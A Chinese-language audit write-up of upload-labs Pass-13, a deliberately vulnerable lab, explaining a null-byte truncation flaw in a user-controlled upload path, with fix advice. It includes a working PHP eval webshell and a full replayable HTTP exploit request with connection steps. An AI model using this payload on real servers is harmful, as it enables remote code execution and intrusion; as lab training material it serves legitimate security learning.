upload-labs 文件上传漏洞靶场代码审计报告
一、靶场信息
| 项目 | 内容 |
|---|---|
| 靶场名称 | upload-labs |
| 关卡编号 | Pass-13 |
| 漏洞类型 | 上传路径可控导致空字节截断(POST 参数) |
| 审计日期 | 2026-08-09 |
| 目标文件 | Pass-13/index.php |
二、漏洞概述
Pass-13 与 Pass-12 类似,对上传文件后缀做了白名单校验(仅允许 jpg、png、gif),但保存路径 save_path 由用户通过 POST 参数控制。攻击者可以在 POST 参数 save_path 中插入空字节(%00),使最终保存路径在空字节处截断,从而将文件保存为任意名称(如 shell.php),绕过白名单限制。
- 危险等级:高危
- 影响范围:PHP < 5.3.4 环境中可上传任意文件
三、问题代码位置
文件路径:Pass-13/index.php
问题代码片段(第 8-23 行):
if(isset($_POST['submit'])){
$ext_arr = array('jpg','png','gif');
$file_ext = substr($_FILES['upload_file']['name'],strrpos($_FILES['upload_file']['name'],".")+1);
if(in_array($file_ext,$ext_arr)){
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = $_POST['save_path']."/".rand(10, 99).date("YmdHis").".".$file_ext;
if(move_uploaded_file($temp_file,$img_path)){
$is_upload = true;
} else {
$msg = "上传失败";
}
} else {
$msg = "只允许上传.jpg|.png|.gif类型文件!";
}
}
四、漏洞分析
4.1 为什么存在这个问题
代码从 $_POST['save_path'] 获取保存目录,未做任何校验或过滤。攻击者可以通过 POST 参数传递 save_path=../upload/shell.php%00,最终路径为 ../upload/shell.php\x00/xx20260809xxxx.jpg。PHP 在处理该路径时会因空字节截断而实际保存为 ../upload/shell.php,从而绕过白名单后缀校验。
4.2 校验逻辑缺陷
- 保存路径参数完全由用户控制。
- 未对
save_path进行校验、过滤或规范化。 - 未过滤空字节等危险字符。
- 白名单后缀校验被路径空字节截断绕过。
五、利用思路
攻击者上传一个合法后缀的图片文件(如 shell.jpg),同时在 POST 表单中提交 save_path=../upload/shell.php%00。服务端校验 .jpg 后缀通过,但保存路径在空字节处截断,最终生成 upload/shell.php,内容为图片马数据。
六、POC(Yakit 可直接重放)
6.1 前提条件
- 靶场访问地址:
http://target.com/upload-labs/Pass-13/index.php - PHP 版本低于 5.3.4
- 准备图片马内容示例:
GIF89a
<?php @eval($_POST['cmd']); ?>
6.2 Yakit 重放 HTTP 请求包
POST /upload-labs/Pass-13/index.php HTTP/1.1
Host: target.com
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary7MA4YWxkTrZu0gW
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.9
Connection: close
------WebKitFormBoundary7MA4YWxkTrZu0gW
Content-Disposition: form-data; name="upload_file"; filename="shell.jpg"
Content-Type: image/jpeg
GIF89a
<?php @eval($_POST['cmd']); ?>
------WebKitFormBoundary7MA4YWxkTrZu0gW
Content-Disposition: form-data; name="save_path"
../upload/shell.php%00
------WebKitFormBoundary7MA4YWxkTrZu0gW
Content-Disposition: form-data; name="submit"
上传
------WebKitFormBoundary7MA4YWxkTrZu0gW--
6.3 利用步骤
- 在 Yakit 中新建 HTTP 请求并粘贴上述 POC。
- 修改
Host为实际靶场地址。 - 确保 POST 参数中包含
save_path=../upload/shell.php%00。 - 发送请求,服务端校验
.jpg后缀通过。 - 访问上传文件:
http://target.com/upload-labs/upload/shell.php。 - 使用 Webshell 管理工具连接,密码
cmd。
七、修复建议
- 禁止用户控制保存路径:保存路径应在服务端硬编码。
- 过滤空字节等控制字符:对路径参数进行正则校验。
- 使用白名单后缀:需同时配合路径安全校验。
- 重命名上传文件:使用随机文件名。
- 上传目录禁止脚本执行:从 Web 服务器层限制解析。
- 升级 PHP 版本:PHP 5.3.4 修复了空字节截断问题。
安全代码示例
$allowed_ext = ['jpg', 'jpeg', 'png', 'gif'];
$ext = strtolower(pathinfo($_FILES['upload_file']['name'], PATHINFO_EXTENSION));
if (!in_array($ext, $allowed_ext)) {
die('只允许上传图片文件');
}
$save_path = '../upload/'; // 服务端硬编码
$new_name = md5(uniqid()) . '.' . $ext;
move_uploaded_file($_FILES['upload_file']['tmp_name'], $save_path . $new_name);
八、参考链接
- upload-labs 项目地址:https://github.com/c0ny1/upload-labs
- OWASP 文件上传漏洞说明:https://owasp.org/www-community/vulnerabilities/Unrestricted_File_Upload